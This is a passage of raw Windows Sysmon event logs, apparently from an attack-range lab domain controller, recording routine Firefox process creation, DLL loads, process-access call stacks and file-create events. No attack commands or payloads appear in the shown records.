Files\Mozilla Firefox\xul.dll+183bb12|C:\Program Files\Mozilla Firefox\xul.dll+1a53f2e|C:\Program Files\Mozilla Firefox\xul.dll+16f88d0|C:\Program Files\Mozilla Firefox\xul.dll+16c43e8|C:\Program Files\Mozilla Firefox\xul.dll+1b5e147 734700x800000000000000050369Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.401{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exeMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4trueMozilla CorporationValid 10341000x800000000000000050368Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.401{7BD73061-728D-613B-560B-00000000F001}47766152C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x101451C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+a0040f|C:\Program Files\Mozilla Firefox\xul.dll+872464|C:\Program Files\Mozilla Firefox\xul.dll+16620b4|C:\Program Files\Mozilla Firefox\xul.dll+19c2585|C:\Program Files\Mozilla Firefox\xul.dll+13ca5|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+13388|C:\Program Files\Mozilla Firefox\xul.dll+9e92c1|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050367Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050366Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050365Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050364Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000050363Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000050362Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.385{7BD73061-728D-613B-560B-00000000F001}47766696C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6f453|C:\Windows\System32\ADVAPI32.dll+188af|C:\Program Files\Mozilla Firefox\firefox.exe+2f04d|C:\Program Files\Mozilla Firefox\firefox.exe+2e255|C:\Program Files\Mozilla Firefox\xul.dll+1fc619a|C:\Program Files\Mozilla Firefox\xul.dll+9fbdfa|C:\Program Files\Mozilla Firefox\xul.dll+9f9fc5|C:\Program Files\Mozilla Firefox\xul.dll+a0123e|C:\Program Files\Mozilla Firefox\xul.dll+8ab830|C:\Program Files\Mozilla Firefox\xul.dll+166f6b9|C:\Program Files\Mozilla Firefox\xul.dll+26d8a|C:\Program Files\Mozilla Firefox\xul.dll+9ebb5f|C:\Program Files\Mozilla Firefox\xul.dll+26b8e|C:\Program Files\Mozilla Firefox\xul.dll+8ae017|C:\Program Files\Mozilla Firefox\nss3.dll+77cbd|C:\Program Files\Mozilla Firefox\nss3.dll+8ec81|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000050361Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.394{7BD73061-7290-613B-5E0B-00000000F001}7148C:\Program Files\Mozilla Firefox\firefox.exe92.0FirefoxFirefoxMozilla Corporationfirefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel="4776.3.323513989\2001089454" -childID 2 -isForBrowser -prefsHandle 3344 -prefMapHandle 3340 -prefsLen 5913 -prefMapSize 244110 -jsInit 1192 285716 -parentBuildID 20210903235534 -appdir "C:\Program Files\Mozilla Firefox\browser" - 4776 "\\.\pipe\gecko-crash-server-pipe.4776" 3356 23844eb0738 tabC:\Program Files\Mozilla Firefox\ATTACKRANGE\Administrator{7BD73061-6D0D-613B-08AC-390000000000}0x39ac082LowMD5=1FD44F5F8D3DBF02BF76AAAE6AB44D8A,SHA256=A20DDE702CCC7B83A9D8017BBF45738E22EF45E2F2511570E2415BE85F01A4C5,IMPHASH=AECE7B7E776840D7A7255A31B309B7E4{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe"C:\Program Files\Mozilla Firefox\firefox.exe" 17141700x800000000000000050360Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:58:24.369{7BD73061-728D-613B-560B-00000000F001}4776\chrome.4776.3.32351398C:\Program Files\Mozilla Firefox\firefox.exe 10341000x800000000000000050359Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.369{7BD73061-65B2-613B-1000-00000000F001}3641752C:\Windows\system32\svchost.exe{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6cc4|c:\windows\system32\fntcache.dll+17acf|c:\windows\system32\fntcache.dll+1a697|c:\windows\system32\fntcache.dll+1aacc|c:\windows\system32\fntcache.dll+5034e|c:\windows\system32\fntcache.dll+50052|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050358Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.322{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050357Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.307{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ExplorerFrame.dll10.0.14393.4169 (rs1_release.210107-1130)ExplorerFrameMicrosoft® Windows® Operating SystemMicrosoft CorporationExplorerFrame.dllMD5=BB0850797E5D50E70FFB3FFCEBFE77A9,SHA256=042F69100AAEB04CF79872035422A033FB87F2F0113EE89AB6B61FFA41A224D8,IMPHASH=BE381F028EB6D274783D5F8AA4F3DCECtrueMicrosoft WindowsValid 734700x800000000000000050356Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.285{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\imagehlp.dll10.0.14393.0 (rs1_release.160715-1616)Windows NT Image HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationIMAGEHLP.DLLMD5=E1C665DC0FD5A7423B0C0F5325A1027F,SHA256=8B84BE9335EF640ABAA8E8BBA45C6BC77F2251359D4BCC157235CB4BC107AE69,IMPHASH=C88C4D131D277C03F0879B4E0D5679DBtrueMicrosoft WindowsValid 734700x800000000000000050355Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.269{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\dcomp.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft DirectComposition LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationdcomp.dllMD5=40873566DBFF13981CA1AE23AC281C5D,SHA256=E52C4619C837358454B969D31E2E14ACDEDABB384272D48C03E4F0AF9A2C2B6E,IMPHASH=9651C547656809410E78B358203C1A1DtrueMicrosoft WindowsValid 734700x800000000000000050354Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.269{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\d3d11.dll10.0.14393.4467 (rs1_release.210604-1844)Direct3D 11 RuntimeMicrosoft® Windows® Operating SystemMicrosoft CorporationD3D11.dllMD5=F940A91B13592184F228ECC14D8D9358,SHA256=2BC05A4D09CDBAB8DB5F767DC95F31B2CA324928A94F004C7C2968E3E9E635E2,IMPHASH=460DAE5CA92CB705C37D78BE630D6120trueMicrosoft WindowsValid 734700x800000000000000050353Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.269{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\DataExchange.dll10.0.14393.4169 (rs1_release.210107-1130)Data exchangeMicrosoft® Windows® Operating SystemMicrosoft CorporationDataExchange.dllMD5=23F499FA8F8E02A8090FB78E80617BDD,SHA256=08C2E505F3765D98379BB88DC8AD5555AB680A691054933FCA1A2CFCDFA42F51,IMPHASH=05056B92E29CCE6F97F9C6674AE080C0trueMicrosoft WindowsValid 10341000x800000000000000050352Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.254{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f3e|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+f140d2|C:\Program Files\Mozilla Firefox\xul.dll+1ac06a2|C:\Program Files\Mozilla Firefox\xul.dll+176afc9|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+1076ec|C:\Program Files\Mozilla Firefox\xul.dll+1268ff|C:\Program Files\Mozilla Firefox\xul.dll+1187299|C:\Program Files\Mozilla Firefox\xul.dll+901c48|C:\Program Files\Mozilla Firefox\xul.dll+902376|C:\Program Files\Mozilla Firefox\xul.dll+22f1b0 10341000x800000000000000050351Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.254{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7f17|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+f140d2|C:\Program Files\Mozilla Firefox\xul.dll+1ac06a2|C:\Program Files\Mozilla Firefox\xul.dll+176afc9|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+1076ec|C:\Program Files\Mozilla Firefox\xul.dll+1268ff|C:\Program Files\Mozilla Firefox\xul.dll+1187299|C:\Program Files\Mozilla Firefox\xul.dll+901c48|C:\Program Files\Mozilla Firefox\xul.dll+902376|C:\Program Files\Mozilla Firefox\xul.dll+22f1b0 10341000x800000000000000050350Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.254{7BD73061-728D-613B-560B-00000000F001}47765616C:\Program Files\Mozilla Firefox\firefox.exe{7BD73061-728F-613B-5C0B-00000000F001}6212C:\Program Files\Mozilla Firefox\firefox.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\Mozilla Firefox\xul.dll+1b5281|C:\Program Files\Mozilla Firefox\xul.dll+ec7eec|C:\Program Files\Mozilla Firefox\xul.dll+2870d2|C:\Program Files\Mozilla Firefox\xul.dll+2863bf|C:\Program Files\Mozilla Firefox\xul.dll+2861aa|C:\Program Files\Mozilla Firefox\xul.dll+ee10a5|C:\Program Files\Mozilla Firefox\xul.dll+18ab07a|C:\Program Files\Mozilla Firefox\xul.dll+1ac1848|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac1a8f|C:\Program Files\Mozilla Firefox\xul.dll+1ac3db2|C:\Program Files\Mozilla Firefox\xul.dll+176a76e|C:\Program Files\Mozilla Firefox\xul.dll+f140d2|C:\Program Files\Mozilla Firefox\xul.dll+1ac06a2|C:\Program Files\Mozilla Firefox\xul.dll+176afc9|C:\Program Files\Mozilla Firefox\xul.dll+1769e45|C:\Program Files\Mozilla Firefox\xul.dll+1076ec|C:\Program Files\Mozilla Firefox\xul.dll+1268ff|C:\Program Files\Mozilla Firefox\xul.dll+1187299|C:\Program Files\Mozilla Firefox\xul.dll+901c48|C:\Program Files\Mozilla Firefox\xul.dll+902376|C:\Program Files\Mozilla Firefox\xul.dll+22f1b0 734700x800000000000000050349Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.207{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\freebl3.dll92.0-FirefoxMozilla Foundationfreebl3.dllMD5=8E708A178EA76DAFDA64D6B9290725BA,SHA256=3480BF27277E603806C794CA9378C5EC6E1B41B77432E828D79E846DD64E5DCD,IMPHASH=53652A7DC9DFE48EFEF7CDBD318659AFtrueMozilla CorporationValid 734700x800000000000000050348Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.207{7BD73061-7290-613B-5D0B-00000000F001}6820C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\softokn3.dll92.0-FirefoxMozilla Foundationsoftokn3.dllMD5=D4C21A21AB0C94C96C3B64D447A6B5CD,SHA256=478EEA8D567BCF9226719A080A0C52F6EE13FAAA7E12274778758C7BBE4A7455,IMPHASH=8217C8B17239D6236F43DE3AC007B8A6trueMozilla CorporationValid 734700x800000000000000050347Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.207{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\FWPUCLNT.DLL10.0.14393.0 (rs1_release.160715-1616)FWP/IPsec User-Mode APIMicrosoft® Windows® Operating SystemMicrosoft Corporationfwpuclnt.dllMD5=A65FA613342B08E0F760D8B13B9C135A,SHA256=C64A1EC862188D2EE1202DB02BFBF4E2DD56780905E509012799EB57FC9A88ED,IMPHASH=6097EA32A6AE2378711DDF884725A2AFtrueMicrosoft WindowsValid 23542300x800000000000000050346Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.203{7BD73061-728D-613B-560B-00000000F001}4776ATTACKRANGE\AdministratorC:\Program Files\Mozilla Firefox\firefox.exeC:\Users\Administrator\AppData\Roaming\Mozilla\Firefox\Profiles\paefi3c0.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite-shmMD5=B7C14EC6110FA820CA6B65F5AEC85911,SHA256=FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 734700x800000000000000050345Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.202{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rasadhlp.dll10.0.14393.0 (rs1_release.160715-1616)Remote Access AutoDial HelperMicrosoft® Windows® Operating SystemMicrosoft Corporationrasadhlp.dllMD5=FAE8D0480BDD905EEA453D3A57C8D5C6,SHA256=C1531223B8201B344A6A6474CB2D9B8A8C632250A3A6F472EC5E2D7D28ADD94C,IMPHASH=98E0DBCEA076EF80E7DE241072E34656trueMicrosoft WindowsValid 734700x800000000000000050344Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 10341000x800000000000000050343Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65B2-613B-1600-00000000F001}1296C:\Windows\system32\svchost.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000050341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\winhttp.dll10.0.14393.4467 (rs1_release.210604-1844)Windows HTTP ServicesMicrosoft® Windows® Operating SystemMicrosoft Corporationwinhttp.dllMD5=8893BE5829B2F909E7FC4AF4C43B54F9,SHA256=C1D791C72417FD001E2A5FE441717881D43428A931724E7FD2DCCE6C83699458,IMPHASH=F1FC6BF3699C289EBAF914A7771E49CDtrueMicrosoft WindowsValid 734700x800000000000000050340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\OnDemandConnRouteHelper.dll10.0.14393.4169 (rs1_release.210107-1130)On Demand Connctiond Route HelperMicrosoft® Windows® Operating SystemMicrosoft CorporationOnDemandConnRouteHelper.dllMD5=BAE78E97BEBB832376654560305922E3,SHA256=6A188DC4F1005E46CCA529E9C757D9B3B5F98E5587AFAA5E4200C7DD2AC73355,IMPHASH=FE994282C73F9AB11AC9B6E37AC26B47trueMicrosoft WindowsValid 10341000x800000000000000050339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\lsasrv.dll+24be7|C:\Windows\system32\lsasrv.dll+25d2d|C:\Windows\system32\lsasrv.dll+24a65|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000050338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=527C4D7165326E092A5C0A945D4D4353,SHA256=74490B4CAB2BC46CD51939B7FFE6976684DEFC9C960678F4C6073BE4B0A7D2A6,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000050337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:24.184{7BD73061-65B0-613B-0B00-00000000F001}6203916C:\Windows\system32\lsass.exe{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6cc4|C:\Windows\System32\RPCRT4.dll+67d2f|C:\Windows\system32\lsasrv.dll+249ad|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000050336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 